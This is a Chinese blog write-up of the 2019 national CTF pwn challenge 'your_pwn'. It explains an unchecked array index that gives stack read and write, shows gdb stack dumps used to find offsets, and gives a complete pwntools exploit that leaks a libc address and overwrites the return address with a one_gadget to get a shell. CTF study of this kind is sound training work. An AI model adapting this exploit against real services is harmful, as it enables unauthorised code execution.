

2019国赛1.your_pwn

原创

Jc^ 于 2019-05-13 20:49:06 发布 989 收藏

分类专栏: [赛事复现](#) 文章标签: [单字节溢出](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_42037374/article/details/89929086

版权



[赛事复现](#) 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

1.文件属性

```
[*] '/home/ubuntu/com/message_game/your_pwn/pwn'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

2.审计伪代码

```
1  __int64 sub_B35()
2  {
3  __int64 result; // rax@4
4  __int64 v1; // rcx@4
5  int v2; // [sp+4h] [bp-15Ch]@2 //348
6  int v3; // [sp+8h] [bp-158h]@2 //344
7  int i; // [sp+Ch] [bp-154h]@1
8  char v5[64]; // [sp+10h] [bp-150h]@1
9  char s; // [sp+50h] [bp-110h]@1
10 __int64 v7; // [sp+158h] [bp-8h]@1
11
12 v7 = *MK_FP(__FS__, 40LL);
13 memset(&s, 0, 0x100uLL);
14 memset(v5, 0, 0x28uLL);
15 for ( i = 0; i <= 40; ++i ) // 循环41次
16 {
17     puts("input index");
18     __isoc99_scanf("%d", &v2); // 348
19     printf("now value(hex) %x\n", (unsigned int)v5[v2]);
20     puts("input new value");
21     __isoc99_scanf("%d", &v3); // 344
22     v5[v2] = v3;
23 }
24 puts("do you want continue(yes/no)? ");
25 read(0, &s, 0x100uLL);
26 result = strcmp(&s, "yes", 3uLL) == 0;
27 v1 = *MK_FP(__FS__, 40LL) ^ v7;
28 return result;
```

分析:

读取数组索引的时候没有限制, 引发数组越界漏洞, 造成栈空间任意地址读写

漏洞点在于没有对 `index` 进行大小的检查, 我们可以超过数组的范围到达 `main` 函数的返回地址处, 就可以实现泄露和改变啊

利用

所以思路是先泄露 `__libc_start_main` 函数的地址 然后计算出 `libc_base` 的地址, 利用 `one_gadget` 填充返回地址

挖掘

`gdb` 在输入 `name` 的地方截断下来 然后 `stack 100` 如图:

```
--More-- (25/100)
0200 | 0x7fffffffddcb0 --> 0x0
0208 | 0x7fffffffddcb8 --> 0x0
0216 | 0x7fffffffddcc0 --> 0x0
0224 | 0x7fffffffddcc8 --> 0x0
0232 | 0x7fffffffddcd0 --> 0x0
0240 | 0x7fffffffddcd8 --> 0x0
0248 | 0x7fffffffddce0 --> 0x0
0256 | 0x7fffffffddce8 --> 0x0
0264 | 0x7fffffffddcf0 --> 0x7fffffffdde0 --> 0x1
0272 | 0x7fffffffddcf8 --> 0x6852c8de057f0000
0280 | 0x7fffffffdd00 --> 0x55555554ca0 (push r15)
0288 | 0x7fffffffdd08 --> 0x7ffff7a2d830 (< __libc_start_main+240>:      mov    edi,eax)
0296 | 0x7fffffffdd10 --> 0x1
https://blog.csdn.net/qq_42037374
```

大牛都查看了数据输入到 `ret` 相差 344, 然后输入到我们 `__libc_start_main_ret` 相差 288, 我来讲一下是怎么查看看的

在 `gdb` 里面输入名字, 然后输入第一个 `index` (0) 然后输入值 (100) 回车, 然后断在这里 (`ctrl + z`) 然后再 `stack 500` (尽可能大一点, 能找到 `main_ret`), `main_ret` 如上图, 我们输入的数据可以在我们的栈里面看见 如下图 (具体情况看自己 `gdb-peda` 调试)

```
--More-- (250/500)
2000 | 0x7fffffffda48 --> 0x7ffff7dd2620 --> 0xfbad2887
2008 | 0x7fffffffda50 --> 0x55555554d3f ("input index")
2016 | 0x7fffffffda58 --> 0x7ffff7a7c7fa (< _IO_puts+362>:      cmp    eax,0xffffffff)
2024 | 0x7fffffffda60 --> 0x0
2032 | 0x7fffffffda68 --> 0x7ffff7db0 --> 0x7fffffffdd00 --> 0x55555554ca0 (push r15)
2040 | 0x7fffffffda70 --> 0x0
2048 | 0x7fffffffda78 --> 0x55555554bb7 (mov    eax,DWORD PTR [rbp-0x15c])
2056 | 0x7fffffffda80 --> 0xffe700
2064 | 0x7fffffffda88 --> 0x100000064
2072 | 0x7fffffffda90 --> 0x64 ('d')
2080 | 0x7fffffffda98 --> 0x0
2088 | 0x7fffffffdaa0 --> 0x0
2096 | 0x7fffffffdaa8 --> 0x0
2104 | 0x7fffffffdad0 --> 0x0
2112 | 0x7fffffffdad8 ("////////")
2120 | 0x7fffffffdac0 --> 0x0
2128 | 0x7fffffffdac8 --> 0xff000000
https://blog.csdn.net/qq_42037374
```

我们输入的 100 距离我们返回函数相差 344 (输入用户名处), 距离我们 `__libc_start_main_ret` 相差 632, 通过泄

露 `__libc_start_main` 的地址, 来确定我们使用的 `libc` 库的版本, 然后利用 `libc_base` (基址) + `system@plt/bin_sh_addr@plt` 来获得真实的地址, 完成构造。这里我们引入一个 `one_gadget`, 作用和 `system` 的效果一样但是利用起来方便。

- 偷学一波用循环写脚本
- EXP

```
# -*- coding: utf-8 -*-
from pwn import*
local = 1

if local:
    p = process('./pwn')    #学会使用python的循环，规范书写
else:
    p = remote()

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')    #只要远程链接，就可以调用服务器里面的libc文件

p.recvuntil('name:')
p.sendline('tutu')
libc_start_main = ''    #定义一个新的数组 存放我们的地址

#泄露地址
for i in range(637,631,-1):
    p.recvuntil('index\n')
    p.sendline(str(i))
    p.recvuntil('(hex) ')
    xx = p.recvuntil('\n')[:-1]
    if(len(xx)<2):
        libc_start_main += '0' + xx    #'0'? 作用
    elif(len(xx)==8):
        libc_start_main += xx[-2:]
    else:
        libc_start_main += xx

p.recvuntil('value\n')
p.sendline('1')

print "[+]" + libc_start_main
libc_base = int('0x'+libc_start_main,16) - libc.symbols['__libc_start_main'] - 240
success('libc_base =>' + hex(libc_base))
one_gadget = libc_base + 0xf02a4    #利用one_gadget工具书写获取shell的函数

for i in range(6):    #0xdeeb 好多新手不知道6的含义：是四位地址+0x
    p.recvuntil('index\n')
    p.sendline(str(344+i))
    p.recvuntil('value\n')
    p.sendline(str(ord(p64(one_gadget)[i])))

p.sendline('a')    #只要我们输入一个不再循环内的数字，就会跳出判断
p.recvuntil('(yes/no)? \n')
p.interactive()
```

- 常规EXP

120行的exp
敬请期待...

注：我可以通过构造 `p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)` 来获得系统shell，因为开启了 `PIE` 保护 我们需要泄露 `PIE` 基址。（这是我们常规利用的思路）

- 参考文献
- 主要参考: <https://n0va-scy.github.io/2019/04/23/2019全国大学生信息安全大赛/#more>
- <https://www.anquanke.com/post/id/177035>
- <https://impakho.com/post/ciscn-2019-online-writeup#toc-6>
- <https://bbs.pediy.com/thread-250962.htm>
- one-gadget: <https://xz.aliyun.com/t/2720>
- one-gadget:https://github.com/david942j/one_gadget
- 安全客: <https://www.anquanke.com/post/id/177035>
- 循环exp参考文献: <https://www.jianshu.com/p/8671b34f5620>